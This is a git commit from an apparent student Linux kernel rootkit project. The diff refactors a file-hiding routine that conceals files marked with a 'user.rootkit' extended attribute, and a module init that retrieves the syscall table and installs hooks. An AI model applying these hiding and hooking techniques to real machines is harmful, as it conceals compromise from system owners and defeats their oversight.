linux-rootkit

commit 1eaf28abe1435f6154153b363a4cd43de5309c6e
parent 2874791a217766dc3f65a2317f621b53ff32c10f
Author: deurzen <m.deurzen@tum.de>
Date:   Mon, 23 Nov 2020 08:33:16 +0100

refactors code

Diffstat:
M
src/filehide.c
 | 
9
++++++---
M
src/g7.c
 | 
5
++---

2 files changed, 8 insertions(+), 6 deletions(-)
diff --git a/src/filehide.c b/src/filehide.c
@@ -2,11 +2,14 @@
 #include <linux/fs.h>
 #include <linux/fdtable.h>
 
+#define FILEHIDE_XATTR_NAME "user.rootkit"
+#define FILEHIDE_XATTR_VAL "rootkit"
+
 #include "common.h"
 #include "filehide.h"
 #include "hook.h"
 
-#define SIZE 512
+#define SIZE 64
 
 void
 hide_files(void)
@@ -34,9 +37,9 @@ must_hide_inode(struct dentry *dentry)
 
     if(dentry && dentry->d_inode)
         if(!inode_permission(dentry->d_inode, MAY_READ)) {
-            ssize_t len = vfs_getxattr(dentry, "user.rootkit", buf, SIZE);
+            ssize_t len = vfs_getxattr(dentry, FILEHIDE_XATTR_NAME, buf, SIZE);
 
-            if (len > 0 && !strncmp("rootkit", buf, len))
+            if (len > 0 && !strncmp(FILEHIDE_XATTR_VAL, buf, len))
                 return dentry->d_inode->i_ino;
         }
 
diff --git a/src/g7.c b/src/g7.c
@@ -91,13 +91,12 @@ static int
 g7_init(void)
 {
     mutex_init(&lock);
-    proc_create_data(G7_DEVICE, S_IRUSR | S_IWUSR, 0, &g7_fops, buf);
+    proc_create_data(G7_DEVICE, S_IRUSR | S_IWUSR, NULL, &g7_fops, buf);
 
     if (retrieve_sys_call_table())
         return -1;
 
     init_hooks();
-
     DEBUG_INFO("[g7_init] at /proc/%s\n", G7_DEVICE);
     report_channels();
 
@@ -107,9 +106,9 @@ g7_init(void)
 static void
 g7_exit(void)
 {
-    DEBUG_INFO("[g7_exit]\n");
     remove_proc_entry(G7_DEVICE, 0);
     remove_hooks();
+    DEBUG_INFO("[g7_exit]\n");
 }